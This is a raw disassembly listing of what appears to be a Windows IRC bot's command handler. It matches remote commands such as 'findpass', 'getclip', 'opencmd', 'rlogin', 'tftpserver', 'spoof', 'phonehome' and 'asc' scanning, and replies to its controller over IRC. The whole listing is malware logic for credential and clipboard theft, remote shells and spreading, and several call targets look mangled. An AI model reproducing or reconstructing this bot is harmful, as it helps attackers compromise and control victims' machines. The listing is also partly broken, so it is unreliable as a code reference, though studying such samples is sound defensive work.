		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404268
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424C
		push	edi
		push	offset aClg	; "clg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424C
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404212
		push	edi
		push	offset aNi	; "ni"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404212
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E7
		push	edi
		push	offset aSi	; "si"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E7
		push	edi
		push	offset aKosomaky4d ; "KOSOMAKY4D"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041AD
		push	edi
		push	offset aKosomaky4d ; "KOSOMAKY4D"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041AD
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aPs	; "ps"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404005
		push	edi
		push	offset aUp	; "up"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404005
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE8
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE8
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCF
		push	edi
		push	offset aDll	; "dll"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCF
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5B
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5B
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4033B1
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C574
		push	offset dword_42C568
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4033B1:				; CODE XREF: sub_401ACD+18CAj
		push	edi
		push	offset dword_42C564
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034C7
		cmp	[ebp+var_8], ebx
		jnz	short loc_4033E5
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C550
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4033E5:				; CODE XREF: sub_401ACD+18FCj
		mov	eax, [ebp+arg_18]
		xor	edi, edi
		mov	[ebp+arg_18], eax
		jmp	short loc_4033F2
; ---------------------------------------------------------------------------


loc_4033EF:				; CODE XREF: sub_401ACD+196Cj
		mov	eax, [ebp+arg_18]


loc_4033F2:				; CODE XREF: sub_401ACD+1920j
		cmp	[eax], bl
		jz	short loc_4033F9
		inc	eax
		jmp	short loc_4033FE
; ---------------------------------------------------------------------------


loc_4033F9:				; CODE XREF: sub_401ACD+1927j
		mov	eax, offset aEmpty ; "<Empty>"


loc_4033FE:				; CODE XREF: sub_401ACD+192Aj
		push	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	edi
		cmp	edi, 3
		jl	short loc_4033EF
		push	offset unk_42C520
		call	sub_415D38
		pop	ecx


loc_403446:				; CODE XREF: sub_401ACD+1BFDj
					; sub_401ACD+2EFAj
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		mov	[ebp+arg_20], edi
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aSpoof	; "spoof"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AAB
		push	offset aOff	; "off"
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4049D9
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C4EC
		push	eax
		mov	dword_4CF180, ebx
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40349D:				; CODE XREF: sub_401ACD+2FD9j
		cmp	[ebp+var_8], ebx
		jnz	loc_409644
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869


loc_4034BF:				; CODE XREF: sub_401ACD+7032j
		add	esp, 14h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_4034C7:				; CODE XREF: sub_401ACD+18F3j
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F1A
		push	edi
		push	offset aGc	; "gc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F1A
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F03
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F03
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ECB
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ECB
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E91
		push	edi
		push	offset aCip	; "cip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E91
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D56
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D56
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BCA
		push	edi
		push	offset aHttp	; "http"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BCA
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A90
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A90
		push	edi
		push	offset aShitycrash ; "shitycrash"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403653
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C444
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403632
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403632:				; CODE XREF: sub_401ACD+1B47j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		mov	[esp+10h+var_10], offset aShitycrash ; "shitycrash"
		push	[ebp+esi+var_7C]
		call	sub_41CA50
		jmp	loc_4097D0
; ---------------------------------------------------------------------------


loc_403653:				; CODE XREF: sub_401ACD+1B2Fj
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aAs	; "as"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036AA
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI	Are You	T"...
		push	[ebp+arg_4]
		call	sub_409823


loc_4036A2:				; CODE XREF: sub_401ACD+47Bj
		add	esp, 0Ch
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4036AA:				; CODE XREF: sub_401ACD+1BBFj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4036D0
		push	edi
		push	offset aFp	; "fp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403446


loc_4036D0:				; CODE XREF: sub_401ACD+1BECj
		push	[ebp+var_88]
		lea	eax, [ebp+var_FEC]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_FF0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F68], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_F64], eax
		push	offset unk_42C3C4
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_F6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FF0]
		push	ebx
		push	eax
		push	offset sub_4172C1
		push	ebx
		push	ebx
		nop
		call	near ptr 26A06F9h
		mov	ecx, [ebp+var_F6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403778


loc_403762:				; CODE XREF: sub_401ACD+1CA9j
		cmp	[ebp+var_F60], ebx
		jnz	loc_4082DE
		push	32h
		call	near ptr 26A068Bh
		nop
		jmp	short loc_403762
; ---------------------------------------------------------------------------


loc_403778:				; CODE XREF: sub_401ACD+1C93j
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_42C388
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_403789:				; CODE XREF: sub_401ACD+1B95j
					; sub_401ACD+1BAAj
		mov	al, byte_4319DA
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4319DA
		jz	loc_401F75
		mov	ecx, edx


loc_4037A0:				; CODE XREF: sub_401ACD+1CDBj
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037A0
		cmp	al, bl
		jz	loc_401F75
		mov	[ebp+arg_18], edx


loc_4037B5:				; CODE XREF: sub_401ACD+1FAEj
		push	0Bh
		call	sub_40B602
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		mov	edx, eax
		mov	eax, 320h
		add	edx, ecx
		cmp	edx, eax
		jle	short loc_403808
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C34C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		jmp	loc_403A72
; ---------------------------------------------------------------------------


loc_403808:				; CODE XREF: sub_401ACD+1D06j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_4317F8, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], eax
		mov	[ebp+arg_0], ebx
		jz	short loc_403875
		mov	eax, [ebp+arg_18]
		mov	esi, offset dword_4317F8
		lea	edi, [eax-0Ah]


loc_40383F:				; CODE XREF: sub_401ACD+1D8Aj
		lea	eax, [esi-28h]
		push	edi
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40385B
		inc	[ebp+arg_0]
		add	esi, 40h
		cmp	[esi], ebx
		jnz	short loc_40383F
		jmp	short loc_403875
; ---------------------------------------------------------------------------


loc_40385B:				; CODE XREF: sub_401ACD+1D80j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_4317F8[ecx]
		mov	[ebp+var_74C], ecx


loc_403875:				; CODE XREF: sub_401ACD+1D65j
					; sub_401ACD+1D8Cj
		cmp	[ebp+var_74C], ebx
		jz	loc_403A86
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	esi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], esi
		push	[ebp+arg_4]
		call	dword_4CB978
		mov	al, [ebp+var_8FF]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BFD0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41C820
		add	esp, 14h
		cmp	esi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40391D


loc_4038FB:				; CODE XREF: sub_401ACD+1E4Ej
		cmp	eax, ebx
		jz	short loc_40391D
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41C820
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, esi
		jl	short loc_4038FB


loc_40391D:				; CODE XREF: sub_401ACD+1E2Cj
					; sub_401ACD+1E30j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+var_8]
		mov	[ebp+var_750], eax
		lea	eax, [ebp+var_850]
		push	80h
		push	eax
		mov	[ebp+var_720], 1
		mov	[ebp+var_728], esi
		mov	[ebp+var_724], edi
		call	sub_41C360
		push	offset byte_43DB88
		push	offset aF	; "#f"
		call	sub_41CA50
		add	esp, 14h
		test	eax, eax
		jz	short loc_40398A
		push	offset aF	; "#f"
		lea	eax, [ebp+var_7D0]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_403990
; ---------------------------------------------------------------------------


loc_40398A:				; CODE XREF: sub_401ACD+1EA0j
		mov	[ebp+var_7D0], bl


loc_403990:				; CODE XREF: sub_401ACD+1EBBj
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039A2
		mov	eax, offset aSequential	; "Sequential"


loc_4039A2:				; CODE XREF: sub_401ACD+1ECEj
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C2CC
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C600
		push	ebx
		push	ebx
		nop
		call	near ptr 26A06F9h
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403A2C


loc_403A1A:				; CODE XREF: sub_401ACD+1F5Dj
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A47
		push	32h
		call	near ptr 26A068Bh
		nop
		jmp	short loc_403A1A
; ---------------------------------------------------------------------------


loc_403A2C:				; CODE XREF: sub_401ACD+1F4Bj
		nop
		call	near ptr 26B0669h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C290
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_403A47:				; CODE XREF: sub_401ACD+1F53j
		cmp	edi, ebx
		jnz	short loc_403A65
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403A65:				; CODE XREF: sub_401ACD+1F7Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		pop	ecx


loc_403A72:				; CODE XREF: sub_401ACD+1D36j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_4037B5
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_403A86:				; CODE XREF: sub_401ACD+1DAEj
		push	offset unk_42C258
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_403A90:				; CODE XREF: sub_401ACD+1B05j
					; sub_401ACD+1B1Aj
		push	5
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_403AA6
		push	offset unk_42C238
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_403AA6:				; CODE XREF: sub_401ACD+1FCDj
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403AC9
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_403ADD
; ---------------------------------------------------------------------------


loc_403AC9:				; CODE XREF: sub_401ACD+1FE2j
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2690000h


loc_403ADD:				; CODE XREF: sub_401ACD+1FFAj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403AED
		mov	esi, offset byte_429108


loc_403AED:				; CODE XREF: sub_401ACD+2019j
		push	esi
		lea	eax, [ebp+var_2C50]
		push	edi
		push	eax
		call	sub_41C360
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B44],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B48],	ebx
		mov	[ebp+var_2D58],	eax
		lea	eax, [ebp+var_2B40]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2AC0],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2ABC],	eax
		lea	eax, [ebp+var_2D54]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B44]
		push	offset unk_42C204
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_2B4C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D58]
		push	ebx
		push	eax
		push	offset byte_412197
		push	ebx
		push	ebx
		call	near ptr 26A06F9h
		nop
		mov	ecx, [ebp+var_2B4C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403BB9


loc_403BA3:				; CODE XREF: sub_401ACD+20EAj
		cmp	[ebp+var_2AB8],	ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26A068Bh
		jmp	short loc_403BA3
; ---------------------------------------------------------------------------


loc_403BB9:				; CODE XREF: sub_401ACD+20D4j
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_42C1C8
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_403BCA:				; CODE XREF: sub_401ACD+1ADBj
					; sub_401ACD+1AF0j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403BE9
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_403BE9
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_403BEE
; ---------------------------------------------------------------------------


loc_403BE9:				; CODE XREF: sub_401ACD+2106j
					; sub_401ACD+2111j
		mov	eax, dword_42907C


loc_403BEE:				; CODE XREF: sub_401ACD+211Aj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36CC],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B8],	eax
		jz	short loc_403C21
		lea	eax, [ebp+var_37D0]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_403C4C
; ---------------------------------------------------------------------------


loc_403C21:				; CODE XREF: sub_401ACD+2141j
		lea	eax, [ebp+var_49F4]
		push	104h
		push	eax
		nop
		call	near ptr 26A0000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_49F4]
		push	eax
		call	sub_41C3B1
		add	esp, 14h


loc_403C4C:				; CODE XREF: sub_401ACD+2152j
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+eax+var_37D1], 5Ch
		pop	ecx
		jnz	short loc_403C77
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+eax+var_37D1], bl


loc_403C77:				; CODE XREF: sub_401ACD+2194j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A58]
		mov	[ebp+var_3A5C],	esi
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36BC],	eax
		lea	eax, [ebp+var_37D0]
		mov	[ebp+var_36C0],	edi
		push	eax
		push	[ebp+var_36CC]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C18C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_36C4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A5C]
		push	ebx
		push	eax
		push	offset sub_40FAD6
		push	ebx
		push	ebx
		call	near ptr 26A06F9h
		nop
		mov	ecx, [ebp+var_36C4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403D2B


loc_403D19:				; CODE XREF: sub_401ACD+225Cj
		cmp	[ebp+var_36B0],	ebx
		jnz	short loc_403D46
		push	32h
		nop
		call	near ptr 26A068Bh
		jmp	short loc_403D19
; ---------------------------------------------------------------------------


loc_403D2B:				; CODE XREF: sub_401ACD+224Aj
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_42C150


loc_403D37:				; CODE XREF: sub_401ACD+23BFj
					; sub_401ACD+4BDCj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_403D46:				; CODE XREF: sub_401ACD+2252j
					; sub_401ACD+23A3j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		push	edi
		jmp	loc_4071A3
; ---------------------------------------------------------------------------


loc_403D56:				; CODE XREF: sub_401ACD+1AB1j
					; sub_401ACD+1AC6j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403D75
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_403D75
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_403D7A
; ---------------------------------------------------------------------------


loc_403D75:				; CODE XREF: sub_401ACD+2292j
					; sub_401ACD+229Dj
		mov	eax, dword_429080


loc_403D7A:				; CODE XREF: sub_401ACD+22A6j
		mov	[ebp+var_1828],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403D91
		lea	eax, [ebp+var_C4]


loc_403D91:				; CODE XREF: sub_401ACD+22BCj
		push	eax
		lea	eax, [ebp+var_1968]
		push	40h
		push	eax
		call	sub_41C360
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403DB3
		mov	esi, offset byte_43DB88


loc_403DB3:				; CODE XREF: sub_401ACD+22DFj
		push	esi
		lea	eax, [ebp+var_1928]
		push	100h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_19E8]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1814],	eax
		lea	eax, [ebp+var_1968]
		push	eax
		mov	[ebp+var_19EC],	esi
		push	[ebp+var_1828]
		mov	[ebp+var_1818],	edi
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C114
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1824],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19EC]
		push	ebx
		push	eax
		push	offset word_41144E
		push	ebx
		push	ebx
		nop
		call	near ptr 26A06F9h
		mov	ecx, [ebp+var_1824]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403E80


loc_403E6A:				; CODE XREF: sub_401ACD+23B1j
		cmp	[ebp+var_1810],	ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 26A068Bh
		jmp	short loc_403E6A
; ---------------------------------------------------------------------------


loc_403E80:				; CODE XREF: sub_401ACD+239Bj
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_42C0D8
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_403E91:				; CODE XREF: sub_401ACD+1A87j
					; sub_401ACD+1A9Cj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EA4
		push	esi
		call	sub_41C159
		jmp	short loc_403EAB
; ---------------------------------------------------------------------------


loc_403EA4:				; CODE XREF: sub_401ACD+23CDj
		push	0Bh
		call	sub_40B621


loc_403EAB:				; CODE XREF: sub_401ACD+23D5j
		cmp	eax, ebx
		pop	ecx
		jz	loc_409644
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BD1A
		jmp	loc_404376
; ---------------------------------------------------------------------------


loc_403ECB:				; CODE XREF: sub_401ACD+1A5Dj
					; sub_401ACD+1A72j
		mov	eax, dword_4CB8F0
		cmp	eax, ebx
		jz	short loc_403EE8
		call	eax
		test	eax, eax
		jz	short loc_403EE1
		push	offset unk_42C0B4
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403EE1:				; CODE XREF: sub_401ACD+240Bj
		push	offset unk_42C088
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403EE8:				; CODE XREF: sub_401ACD+2405j
		push	offset unk_42C05C


loc_403EED:				; CODE XREF: sub_401ACD+2412j
					; sub_401ACD+2419j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		jmp	loc_406BFB
; ---------------------------------------------------------------------------


loc_403F03:				; CODE XREF: sub_401ACD+1A33j
					; sub_401ACD+1A48j
		call	sub_40A928
		test	eax, eax
		jz	short loc_403F13
		push	offset unk_42C038
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403F13:				; CODE XREF: sub_401ACD+243Dj
		push	offset unk_42C00C
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403F1A:				; CODE XREF: sub_401ACD+1A09j
					; sub_401ACD+1A1Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F39
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BFF4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403F39:				; CODE XREF: sub_401ACD+2450j
		push	ebx
		push	[ebp+var_4]
		call	sub_418723
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BFD8
		jmp	loc_40423F
; ---------------------------------------------------------------------------


loc_403F5B:				; CODE XREF: sub_401ACD+18A0j
					; sub_401ACD+18B5j
		push	0Ah
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_403F6E
		push	offset unk_42BFAC
		jmp	short loc_403F8F
; ---------------------------------------------------------------------------


loc_403F6E:				; CODE XREF: sub_401ACD+2498j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A1B1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403F8A
		push	offset unk_42BF84
		jmp	short loc_403F8F
; ---------------------------------------------------------------------------


loc_403F8A:				; CODE XREF: sub_401ACD+24B4j
		push	offset unk_42BF64


loc_403F8F:				; CODE XREF: sub_401ACD+249Fj
					; sub_401ACD+24BBj ...
